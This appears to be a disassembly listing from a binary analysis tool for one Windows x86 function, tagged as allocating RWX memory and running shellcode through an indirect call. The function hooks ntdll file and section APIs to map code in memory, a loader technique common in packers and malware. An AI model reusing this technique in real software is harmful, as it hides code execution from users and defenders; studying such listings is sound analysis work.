Function at 0x607a94
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
call fcn.005268b4
push 0xa13344
mov ebx, dword [ebp + 0x10]
push dword [ebx]
call fcn.004f1030
add esp, 8
cmp eax, 0
je 0x607bd5
push 0x80000301
push 0
push 1
push OleUIBusyA
push 0
mov ebx, dword [ebp + 0x10]
mov eax, dword [ebx]
test eax, eax
jne 0x607b2b
mov eax, 0xa13344
push eax
push 2
mov ebx, 0x138
call fcn.00647230
add esp, 0x1c
mov dword [ebp - 0x30], eax
push 0xa13700
push dword [ebp - 0x30]
call fcn.004f1030
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x607b6f
push ebx
call fcn.00645a87
add esp, 4
cmp dword [ebp - 0x34], 0
je 0x607b83
mov eax, 0xa13344
jmp 0x607b88
mov eax, 0xa13700
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp + 0xc]
push dword [ebx]
push dword [ebp - 0x38]
mov ebx, dword [ebp + 0x10]
push dword [ebx]
mov ecx, 3
call fcn.004f1344
add esp, 0xc
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x607bb8
push ebx
call fcn.00645a87
add esp, 4
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x607bcc
push ebx
call fcn.00645a87
add esp, 4
pop eax
mov dword [ebp - 4], eax
jmp 0x607ca5
push 0
mov ebx, 0x104
call fcn.0064b3c0
add esp, 4
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp + 0xc]
push dword [ebx]
push 0xa13700
push dword [ebp - 0x30]
mov ecx, 3
call fcn.004f1344
add esp, 0xc
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x607c17
push ebx
call fcn.00645a87
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x607c2b
push ebx
call fcn.00645a87
add esp, 4
pop eax
mov dword [ebp - 4], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x607c42
mov eax, 0xa13344
push eax
push 1
mov ebx, 0x24c
call fcn.00648030
add esp, 0x10
test eax, eax
je 0x607ca5
call fcn.006086b0
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp + 0xc]
push dword [ebx]
push dword [ebp - 0x30]
mov ecx, 2
call fcn.004f1344
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x607c8d
push ebx
call fcn.00645a87
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x607ca1
push ebx
call fcn.00645a87
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x30], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x607cd1
push 0x225
push 0x436a919
push 6
call fcn.00645a6f
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x607ce6
mov eax, dword [ebp - 8]
jmp 0x608695
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call fcn.0060667c
cdq
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0x10], 0
jne 0x607d03
cmp dword [ebp - 0xc], 0
jne 0x607d13
mov eax, 0
jmp 0x608695
mov dword [ebp - 0x30], esp
push 0x40
push 0x1000
push 0x200
push 0
xor eax, eax
call dword [sym.imp.kernel32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x607d50
push 0x38b
push 0x436a919
push 6
call fcn.00645a6f
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x607d67
mov eax, 0
jmp 0x608695
mov dword [ebp - 0x30], esp
push str.kernel32.dll
xor eax, eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x607d95
push 0x47d
push 0x436a919
push 6
call fcn.00645a6f
add esp, 0xc
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], esp
push str.VirtualProtect
push dword [ebp - 0x34]
xor eax, eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x607dc9
push 0x47d
push 0x436a919
push 6
call fcn.00645a6f
add esp, 0xc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x30], esp
push str.ntdll.dll
xor eax, eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x607dfa
push 0x4e3
push 0x436a919
push 6
call fcn.00645a6f
add esp, 0xc
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], esp
push str.RtlMoveMemory
push dword [ebp - 0x34]
xor eax, eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x607e2e
push 0x4e3
push 0x436a919
push 6
call fcn.00645a6f
add esp, 0xc
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x30], esp
push dword [0xa82638]
xor eax, eax
call dword [0xa82934]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x607e60
push 0x553
push 0x436a919
push 6
call fcn.00645a6f
add esp, 0xc
cmp dword [0xa826f8], 0
je 0x607ee4
mov dword [ebp - 0x30], esp
xor eax, eax
call dword [sym.imp.kernel32.dll_GetProcessHeap]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x607e96
push 0x5ef
push 0x436a919
push 6
call fcn.00645a6f
add esp, 0xc
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], esp
push dword [0xa826f8]
push 0
push dword [ebp - 0x34]
xor eax, eax
call dword [0xa82938]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x607ed0
push 0x5ef
push 0x436a919
push 6
call fcn.00645a6f
add esp, 0xc
mov dword [0xa826f8], 0
mov dword [0xa826fc], 0
push dword [ebp - 4]
push 0xa81108
mov ecx, 2
call fcn.004f1344
add esp, 8
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
push 0xa826fc
lea eax, [ebp - 0x30]
push eax
call fcn.00605ec0
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x607f29
push ebx
call fcn.00645a87
add esp, 4
mov eax, dword [ebp - 0x38]
mov dword [0xa826f8], eax
mov eax, dword [ebp + 0x18]
mov dword [0xa82700], eax
push dword [ebp - 0x18]
push 0x606d4a
mov eax, str.NtQueryAttributesFile
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
push 0xa82704
call fcn.006060c0
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x607f6a
push ebx
call fcn.00645a87
add esp, 4
cmp dword [ebp - 0x34], 0
jne 0x607f79
jmp 0x6085a6
fild dword [ebp - 0x18]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fadd qword [0xa80718]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
call fcn.004ef9d0
push eax
push 0x60885d
mov eax, str.NtOpenFile
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
push eax
push 0xa82708
call fcn.006060c0
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x607fc2
push ebx
call fcn.00645a87
add esp, 4
cmp dword [ebp - 0x44], 0
jne 0x607fd1
jmp 0x6085a6
fild dword [ebp - 0x18]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fadd qword [0xa6cdc0]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
call fcn.004ef9d0
push eax
push 0x6088f7
mov eax, str.NtCreateSection
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
push eax
push 0xa82710
call fcn.006060c0
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x60801a
push ebx
call fcn.00645a87
add esp, 4
cmp dword [ebp - 0x44], 0
jne 0x608029
jmp 0x6085a6
fild dword [ebp - 0x18]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fadd qword [0xa1333c]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
call fcn.004ef9d0
push eax
push 0x6089cb
mov eax, 0xa81154
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
push eax
push 0xa82714
call fcn.006060c0
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x608072
push ebx
call fcn.00645a87
add esp, 4
cmp dword [ebp - 0x44], 0
jne 0x608081
jmp 0x6085a6
fild dword [ebp - 0x18]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fadd qword [0xa8114c]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
call fcn.004ef9d0
push eax
push 0x608a4e
mov eax, str.NtClose
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
push eax
push 0xa8270c
call fcn.006060c0
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x6080ca
push ebx
call fcn.00645a87
add esp, 4
cmp dword [ebp - 0x44], 0
jne 0x6080d9
jmp 0x6085a6
cmp dword [ebp + 0x18], 0
je 0x6082d5
fild dword [ebp - 0x18]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fadd qword [0xa81168]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
call fcn.004ef9d0
push eax
push 0x607476
mov eax, 0xa81170
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
push eax
push 0xa82718
call fcn.006060c0
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x60812c
push ebx
call fcn.00645a87
add esp, 4
cmp dword [ebp - 0x44], 0
jne 0x60813b
jmp 0x6085a6
fild dword [ebp - 0x18]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fadd qword [0xa6ccd4]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
call fcn.004ef9d0
push eax
push 0x6075b2
mov eax, str.NtQueryVolumeInformationFile
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
push eax
push 0xa8271c
call fcn.006060c0
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x608184
push ebx
call fcn.00645a87
add esp, 4
cmp dword [ebp - 0x44], 0
jne 0x608193
jmp 0x6085a6
fild dword [ebp - 0x18]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fadd qword [0xa811a0]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
call fcn.004ef9d0
push eax
push 0x60779e
mov eax, 0xa811a8
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
push eax
push 0xa82720
call fcn.006060c0
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x6081dc
push ebx
call fcn.00645a87
add esp, 4
cmp dword [ebp - 0x44], 0
jne 0x6081eb
jmp 0x6085a6
fild dword [ebp - 0x18]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fadd qword [0xa811c0]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
call fcn.004ef9d0
push eax
push 0x6078d2
mov eax, 0xa811c8
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
push eax
push 0xa82724
call fcn.006060c0
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x608234
push ebx
call fcn.00645a87
add esp, 4
cmp dword [ebp - 0x44], 0
jne 0x608243
jmp 0x6085a6
fild dword [ebp - 0x18]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fadd qword [0xa6ccc4]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
call fcn.004ef9d0
push eax
push 0x607a72
mov eax, str.NtReadFile
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
push eax
push 0xa82728
call fcn.006060c0
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x60828c
push ebx
call fcn.00645a87
add esp, 4
cmp dword [ebp - 0x44], 0
jne 0x60829b
jmp 0x6085a6
push dword [ebp + 8]
call fcn.0060697c
mov dword [0xa82730], eax
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x6082bd
mov eax, 0xa13348
push eax
push 1
mov ebx, 0x194
call fcn.00646e60
add esp, 0x10
mov dword [0xa82734], eax
mov ebx, dword [0xa82710]
add ebx, 4
mov dword [ebp - 0x30], ebx
lea eax, [ebp - 0x10]
push eax
call fcn.00608764
mov dword [ebp - 0x34], eax
push 0
push 0x8000000
push 0x40
push dword [ebp - 0x34]
push 0
push 0xe
push 0xa82744
mov ebx, dword [ebp - 0x30]
push dword [ebx]
call fcn.006071d4
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x60832a
jmp 0x6085a6
mov eax, dword [ebp - 0x14]
mov dword [0xa8274c], eax
mov dword [0xa82750], 0
mov ebx, dword [0xa82714]
add ebx, 4
mov dword [ebp - 0x30], ebx
push 0x40
push 0
push 2
push 0xa82750
push 0
push 0
push 0
push 0xa8274c
push 0xffffffff
push dword [0xa82744]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
call fcn.006072e0
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xc0000018
jne 0x6083eb
mov dword [0xa8274c], 0
mov ebx, dword [0xa82714]
add ebx, 4
mov dword [ebp - 0x30], ebx
push 0x40
push 0
push 2
push 0xa82750
push 0
push 0
push 0
push 0xa8274c
push 0xffffffff
push dword [0xa82744]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
call fcn.006072e0
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x608416
mov ebx, dword [0xa8270c]
add ebx, 4
mov dword [ebp - 0x30], ebx
push dword [0xa82744]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
call fcn.006070d4
jmp 0x6085a6
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push dword [0xa8274c]
push dword [ebp + 8]
call fcn.006066d4
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x60848c
mov ebx, dword [0xa8270c]
add ebx, 4
mov dword [ebp - 0x30], ebx
push dword [0xa82744]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
call fcn.006070d4
mov dword [ebp - 0x30], esp
push dword [0xa8274c]
push 0xffffffff
xor eax, eax
call dword [0xa82958]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x608487
push 0x11dd
push 0x436a919
push 6
call fcn.00645a6f
add esp, 0xc
jmp 0x6085a6
mov dword [ebp - 0x30], esp
push dword [ebp - 4]
lea eax, [ebp - 0x2c]
push eax
xor eax, eax
call dword [0xa8293c]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x6084bc
push 0x1269
push 0x436a919
push 6
call fcn.00645a6f
add esp, 0xc
test eax, eax
je 0x608547
cmp dword [ebp + 0x20], 0
je 0x6084d8
mov eax, 2
jmp 0x6084dd
mov eax, 0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], esp
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
push 0
xor eax, eax
call dword [0xa82940]
nop
nop
cmp dword [ebp - 0x34], esp
je 0x60851a
push 0x12a6
push 0x436a919
push 6
call fcn.00645a6f
add esp, 0xc
mov dword [ebp - 0x30], esp
lea eax, [ebp - 0x2c]
push eax
xor eax, eax
call dword [0xa82944]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x608547
push 0x12e1
push 0x436a919
push 6
call fcn.00645a6f
add esp, 0xc
cmp dword [ebp - 8], 0
jne 0x608565
cmp dword [0xa8274c], 0
je 0x608565
mov eax, 1
jmp 0x60856a
mov eax, 0
test eax, eax
je 0x6085a6
mov dword [ebp - 0x30], esp
push dword [0xa8274c]
push 0xffffffff
xor eax, eax
call dword [0xa82958]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x6085a6
push 0x13a2
push 0x436a919
push 6
call fcn.00645a6f
add esp, 0xc
mov dword [0xa82744], 0
push 0xa82704
call fcn.006069a0
push 0xa82708
call fcn.006069a0
push 0xa82710
call fcn.006069a0
push 0xa82714
call fcn.006069a0
push 0xa8270c
call fcn.006069a0
cmp dword [ebp + 0x18], 0
je 0x60861e
push 0xa82718
call fcn.006069a0
push 0xa8271c
call fcn.006069a0
push 0xa82720
call fcn.006069a0
push 0xa82724
call fcn.006069a0
push 0xa82728
call fcn.006069a0
mov dword [ebp - 0x30], esp
push dword [0xa82638]
xor eax, eax
call dword [0xa8294c]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x60864d
push 0x1589
push 0x436a919
push 6
call fcn.00645a6f
add esp, 0xc
cmp dword [ebp - 0x18], 0
je 0x60868d
mov dword [ebp - 0x30], esp
push 0x8000
push 0
push dword [ebp - 0x18]
xor eax, eax
call dword [sym.imp.kernel32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x60868d
push 0x15f5
push 0x436a919
push 6
call fcn.00645a6f
add esp, 0xc
mov eax, dword [ebp - 8]
jmp 0x608695
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x6086a6
push ebx
call fcn.00645a87
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x20